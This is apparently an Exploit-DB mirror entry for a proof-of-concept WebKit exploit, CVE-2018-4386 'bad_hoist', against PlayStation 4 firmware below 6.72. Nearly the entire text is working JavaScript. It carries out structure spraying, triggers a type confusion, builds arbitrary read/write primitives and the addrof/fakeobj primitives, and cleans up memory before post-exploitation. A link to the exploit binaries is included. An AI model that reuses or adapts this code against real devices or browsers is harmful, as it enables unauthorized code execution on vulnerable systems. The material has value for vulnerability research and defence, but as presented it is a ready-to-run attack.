Sony Playstation 4 (PS4) < 6.72 - WebKit Code Execution (PoC)

  • 作者: TJ Corley
    日期: 2019-12-31
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47893/
  • /*
    
    bad_hoist
    ============
    
    Exploit implementation of
    [CVE-2018-4386](https://bugs.chromium.org/p/project-zero/issues/detail?id=1665).
    Obtains addrof/fakeobj and arbitrary read/write primitives.
    
    Supports PS4 consoles on 6.XX. May also work on older firmware versions,
    but I am not sure. Bug was fixed in firmware 7.00.
    
    EDB Note ~ Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47893.zip
    */
    
    
    var STRUCTURE_SPRAY_SIZE = 0x1800;
    
    var g_confuse_obj = null;
    var g_arb_master = null;
    var g_arb_slave = new Uint8Array(0x2000);
    var g_leaker = {};
    var g_leaker_addr = null;
    var g_structure_spray = [];
    
    var dub = new Int64(0x41414141, 0x41414141).asDouble();
    var g_inline_obj = {
    a: dub,
    b: dub,
    };
    
    function spray_structs() {
    for (var i = 0; i < STRUCTURE_SPRAY_SIZE; i++) {
    var a = new Uint32Array(0x1)
    a["p" + i] = 0x1337;
    g_structure_spray.push(a); // keep the Structure objects alive.
    }
    
    }
    
    function trigger() {
    
    var o = {
    'a': 1
    };
    
    var test = new ArrayBuffer(0x100000);
    g_confuse_obj = {};
    
    var cell = {
    js_cell_header: new Int64([
    0x00, 0x8, 0x00, 0x00, // m_structureID, current guess
    0x0, // m_indexingType
    0x27, // m_type, Float64Array
    0x18, // m_flags, OverridesGetOwnPropertySlot |
    // InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero
    0x1 // m_cellState, NewWhite
    ]).asJSValue(),
    butterfly: false, // Some arbitrary value
    vector: g_inline_obj,
    len_and_flags: (new Int64('0x0001000100000020')).asJSValue()
    };
    
    g_confuse_obj[0 + "a"] = cell;
    
    g_confuse_obj[1 + "a"] = {};
    g_confuse_obj[1 + "b"] = {};
    g_confuse_obj[1 + "c"] = {};
    g_confuse_obj[1 + "d"] = {};
    
    
    for (var j = 0x5; j < 0x20; j++) {
    g_confuse_obj[j + "a"] = new Uint32Array(test);
    }
    
    for (var k in o) {
    {
    k = {
    a: g_confuse_obj,
    b: new ArrayBuffer(test.buffer),
    c: new ArrayBuffer(test.buffer),
    d: new ArrayBuffer(test.buffer),
    e: new ArrayBuffer(test.buffer),
    1: new ArrayBuffer(test.buffer),
    
    };
    
    function k() {
    return k;
    }
    
    }
    
    o[k];
    
    if (g_confuse_obj["0a"] instanceof Uint32Array) {
    return;
    }
    }
    }
    
    function setup_arb_rw() {
    var jsCellHeader = new Int64([
    0x00, 0x08, 0x00, 0x00, // m_structureID, current guess
    0x0, // m_indexingType
    0x27, // m_type, Float64Array
    0x18, // m_flags, OverridesGetOwnPropertySlot |
    // InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero
    0x1 // m_cellState, NewWhite
    ]);
    g_fake_container = {
    jsCellHeader: jsCellHeader.asJSValue(),
    butterfly: false, // Some arbitrary value
    vector: g_arb_slave,
    lengthAndFlags: (new Int64('0x0001000000000020')).asJSValue()
    };
    
    g_inline_obj.a = g_fake_container;
    g_confuse_obj["0a"][0x4] += 0x10;
    g_arb_master = g_inline_obj.a;
    g_arb_master[0x6] = 0xFFFFFFF0;
    }
    
    function read(addr, length) {
    if (!(addr instanceof Int64))
    addr = new Int64(addr);
    
    g_arb_master[4] = addr.low32();
    g_arb_master[5] = addr.hi32();
    
    var a = new Array(length);
    
    for (var i = 0; i < length; i++)
    a[i] = g_arb_slave[i];
    return a;
    }
    
    function read8(addr) {
    return read(addr, 1)[0];
    }
    
    function read16(addr) {
    return Struct.unpack(Struct.int16, read(addr, 2));
    }
    
    function read32(addr) {
    return Struct.unpack(Struct.int32, read(addr, 4));
    }
    
    function read64(addr) {
    return new Int64(read(addr, 8));
    }
    
    function readstr(addr) {
    if (!(addr instanceof Int64))
    addr = new Int64(addr);
    g_arb_master[4] = addr.low32();
    g_arb_master[5] = addr.hi32();
    var a = [];
    for (var i = 0;; i++) {
    if (g_arb_slave[i] == 0) {
    break;
    }
    a[i] = g_arb_slave[i];
    }
    return String.fromCharCode.apply(null, a);
    }
    
    function write(addr, data) {
    if (!(addr instanceof Int64))
    addr = new Int64(addr);
    g_arb_master[4] = addr.low32();
    g_arb_master[5] = addr.hi32();
    for (var i = 0; i < data.length; i++)
    g_arb_slave[i] = data[i];
    }
    
    function write8(addr, val) {
    write(addr, [val]);
    }
    
    function write16(addr, val) {
    write(addr, Struct.pack(Struct.int16, val));
    }
    
    
    function write32(addr, val) {
    write(addr, Struct.pack(Struct.int32, val));
    }
    
    function write64(addr, val) {
    if (!(val instanceof Int64))
    val = new Int64(val);
    write(addr, val.bytes());
    }
    
    function writestr(addr, str) {
    if (!(addr instanceof Int64))
    addr = new Int64(addr);
    g_arb_master[4] = addr.low32();
    g_arb_master[5] = addr.hi32();
    for (var i = 0; i < str.length; i++)
    g_arb_slave[i] = str.charCodeAt(i);
    g_arb_slave[str.length] = 0; // null character
    }
    
    
    function setup_obj_leaks() {
    g_leaker.leak = false;
    g_inline_obj.a = g_leaker;
    g_leaker_addr = new Int64(g_confuse_obj["0a"][4], g_confuse_obj["0a"][5]).add(0x10);
    debug_log("obj_leaker address @ " + g_leaker_addr);
    }
    
    function addrof(obj) {
    g_leaker.leak = obj;
    return read64(g_leaker_addr);
    }
    
    function fakeobj(addr) {
    write64(g_leaker_addr, addr);
    return g_leaker.leak;
    }
    
    function typed_array_buf_addr(typed_array) {
    return read64(addrof(typed_array).add(0x10));
    }
    
    function cleanup() {
    var u32array = new Uint32Array(8);
    header = read(addrof(u32array), 0x10);
    write(addrof(g_arb_master), header);
    write(addrof(g_confuse_obj['0a']), header);
    
    // Set length to 0x10 and flags to 0x1
    // Will behave as OversizeTypedArray which can survive gc easily
    write32(addrof(g_arb_master).add(0x18), 0x10);
    write32(addrof(g_arb_master).add(0x1C), 0x1); //
    write32(addrof(g_confuse_obj['0a']).add(0x18), 0x10);
    write32(addrof(g_confuse_obj['0a']).add(0x1C), 0x1);
    write32(addrof(g_arb_slave).add(0x1C), 0x1);
    
    var empty = {};
    header = read(addrof(empty), 0x8);
    write(addrof(g_fake_container), header);
    }
    
    function start_exploit() {
    debug_log("Spraying Structures...");
    spray_structs();
    debug_log("Structures sprayed!");
    debug_log("Triggering bug...");
    trigger();
    debug_log("Bug successfully triggered!");
    debug_log("Crafting fake array for arbitrary read and write...");
    setup_arb_rw();
    debug_log("Array crafted!");
    debug_log("Setting up arbitrary object leaks...");
    setup_obj_leaks();
    debug_log("Arbitrary object leaks achieved!");
    debug_log("Cleaning up corrupted structures...");
    cleanup();
    debug_log("Cleanup done!");
    debug_log("Starting post exploitation...");
    }
    
    start_exploit();